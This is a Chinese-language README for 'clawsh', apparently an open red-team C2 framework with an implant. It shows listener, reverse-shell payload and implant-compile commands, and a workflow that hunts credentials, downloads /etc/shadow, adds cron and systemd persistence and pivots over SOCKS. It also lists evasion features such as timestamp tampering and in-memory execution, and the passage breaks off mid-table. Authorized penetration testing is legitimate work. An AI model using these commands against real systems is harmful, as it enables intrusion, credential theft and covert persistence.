🦀 clawsh
Async C2 framework — handler + implant — single binary, zero dependencies
Installation •
Quick Start •
Features •
Modules •
Agent Mode •
AI Mentor •
Plugins •
License
clawsh 是一个面向渗透测试人员和红队成员的 C2 框架。它将交互式 Handler、配套植入程序、会话管理、后渗透自动化和 Pivot 功能结合在一个约 6 MB 的二进制文件中,且无运行时依赖。
使用 Rust 和 tokio 异步 I/O 构建。可处理数十个并发 shell 会话和 agent 连接而不会阻塞。
**两种操作模式:**
- **Shell 模式** — 接收来自任何 Payload 的反向 Shell(bash, python, nc 等)
- **Agent 模式** — 原生植入程序协议,支持加密 C2、侦察模块、持久化和隐蔽性
**配套植入程序**:[clawsh-imp](https://github.com/y0uall/clawsh-imp) — 一个轻量级跨平台植入程序(Linux 约 1.7 MB,Windows 约 1.6 MB),通过加密 agent 协议与 clawsh 原生配对。
## 截图




## 安装
从 [Releases](../../releases) 页面下载最新版本。
```
# Extract
tar xzf clawsh-v2.0.0-linux-x86_64.tar.gz
cd clawsh-v2.0.0-linux-x86_64
# 安装二进制文件
cp clawsh ~/.local/bin/
chmod +x ~/.local/bin/clawsh
# 安装插件 (Rhai scripts)
mkdir -p ~/.local/share/clawsh/plugins
cp -r scripts/* ~/.local/share/clawsh/plugins/
# 验证
clawsh --version
clawsh modules
```
或者从任意目录便携运行 — clawsh 会自动发现 `
/scripts/` 中的插件。
## 快速开始
### 启动监听器
```
clawsh listen -p 4444 # TCP
clawsh listen -p 4444 --tls # TLS encrypted
clawsh listen -p 4444,8080,9999 --tls # Multi-port + TLS
clawsh listen -p 4444 --tls --record # With session recording
```
### 生成 Payload
```
clawsh payload bash # Bash (auto-detects tun0 IP, port 4444)
clawsh payload python # Python3
clawsh payload powershell # PowerShell (Windows targets)
clawsh payload php # PHP
clawsh payload nc-pipe # Netcat (FIFO)
clawsh payload bash -H 10.10.14.5 # Explicit LHOST
clawsh payload bash -H 10.10.14.5 -P 9001 # Explicit LHOST + port
clawsh payload bash --encode # URL-encoded
```
可用类型:`bash`, `bash-udp`, `python`, `nc`, `nc-pipe`, `powershell`, `socat`, `perl`, `php`, `ruby`
### 构建植入程序二进制文件
clawsh 内置了 Payload 编译器,可以使用你的 C2 配置修补 [clawsh-imp](https://github.com/y0uall/clawsh-imp) 模板。无需 Rust 工具链 — 从 [clawsh-imp releases](https://github.com/y0uall/clawsh-imp/releases) 下载模板并将其放在 `~/.local/share/clawsh/templates/` 中。
```
# 从预构建模板编译 implant
clawsh compile --host 10.10.14.5 --port 4444 --psk "secret" --tls
# Windows 目标
clawsh compile --host 10.10.14.5 --port 4444 --psk "secret" --target windows
# HTTP 传输 (混入 Web 流量)
clawsh compile --host 10.10.14.5 --port 443 --tls --transport http
# 从源码构建新模板 (仅首次,需要 Rust)
clawsh compile --build-templates
```
### 典型工作流
```
$ clawsh listen -p 4444 --tls --record
clawsh v2.0.0 by uall
[+] Listening on 0.0.0.0:4444 (TLS) → 10.10.14.5
31 module(s) loaded (16 linux, 15 windows)
# --- Shell 模式 (反向 Shell) ---
clawsh> use 0
[session 0] upgrade
[session 0] run sysinfo
[session 0] run credential_hunt
[session 0] upload ./chisel /dev/shm/chisel
[session 0] socks 1080
[session 0] persist cron 10.10.14.5 4444
[session 0] persist --clean
# --- Agent 模式 (clawsh-imp implant) ---
clawsh> agent 0
agent(root@dc01)> recon all
agent(root@dc01)> recon privesc
agent(root@dc01)> shell
agent(root@dc01)> download /etc/shadow ./loot/
agent(root@dc01)> persist install systemd
agent(root@dc01)> hint vector
```
## 功能特性
### 传输与监听器
| 功能 | 描述 |
|---------|-------------|
| **Multi-port TCP** | `-p 4444,8080,9999` — 同时监听多个端口 |
| **TLS encryption** | `--tls` 使用自动生成的自签名证书(缓存)或自定义 PEM |
| **HTTP/HTTPS tunnel** | 通过 HTTP POST/response 传输 Agent 流量 — 混入 Web 流量 |
| **Protocol auto-detection** | 同一端口处理原始 shell、agent 协议和 HTTP 隧道 |
| **TCP keepalive** | 自动检测死连接(30秒间隔) |
| **Reconnect tracking** | 识别返回的 IP 并显示重连次数 |
### Shell 和 PTY
| 功能 | 描述 |
|---------|-------------|
| **Auto PTY upgrade** | 检测 python3/python2/script/expect,自动升级 |
| **Raw terminal mode** | 箭头键、Tab 补全、Ctrl+C 穿透 |
| **SIGWINCH forwarding** | 终端大小调整传播到远程 |
| **PTY health check** | `downgrade` 检查 PTY 状态,如已死则降级 |
| **Shell stabilization** | stty raw, TERM 导出, 禁用 bracketed-paste |
### 会话管理
| 功能 | 描述 |
|---------|-------------|
| **Multi-session** | 无限并发会话,支持命名标签 |
| **Background/foreground** | `use `, `bg`, `kill ` |
| **Session notes** | `note ` — 为每个会话附加备注 |
| **Session recording** | `--record` 保存为 asciinema v2 `.cast` 文件 |
| **Remote OS detection** | 自动检测 Linux/Windows 并调整帮助/模块 |
| **Graceful shutdown** | 检测连接丢失,自动通知 |
### 文件传输
| 功能 | 描述 |
|---------|-------------|
| **Upload** | 自动选择 base64(小文件)或嵌入式 HTTP 服务器(大文件) |
| **Download** | 任何远程文件的 Base64 编码下载 |
| **SHA256 verification** | 每次传输后自动进行完整性检查 |
| **Stealth mode** | `--stealth` 或 OpSec 激活时:上传后自动修改时间戳 |
| **In-memory execution** | `exec-mem` — memfd_create + fexecve,无文件接触磁盘 |
### 端口转发与 Pivot
| 功能 | 描述 |
|---------|-------------|
| **Local forward** | `fwd -L ` — attacker:lport → 目标网络 |
| **Remote forward** | `fwd -R ` — target:rport → attacker |
| **SOCKS5 proxy** | `socks ` — 符合 RFC 1928,通过会话路由流量 |
| **Auto method selection** | 使用 socat, netcat 或 python — 取决于可用性 |
### 后渗透
| 功能 | 描述 |
|---------|-------------|
| **31+ modules** | 原生 Rust + Rhai 脚本 — 适配系统(Linux + Windows) |
| **OS-aware filtering** | `modules` 仅显示与目标 OS 相关的模块 |
| **Credential vault** | `creds add/search/export` — 收集和管理发现的凭据 |
| **Loot manager** | 带 SHA256 标签和会话关联的文件清单 |
| **Persistence** | 8 种方法(4 Linux + 4 Windows) — 均可通过 `persist --clean` 逆向清除 |
| **Event hooks** | `hook on_session_connect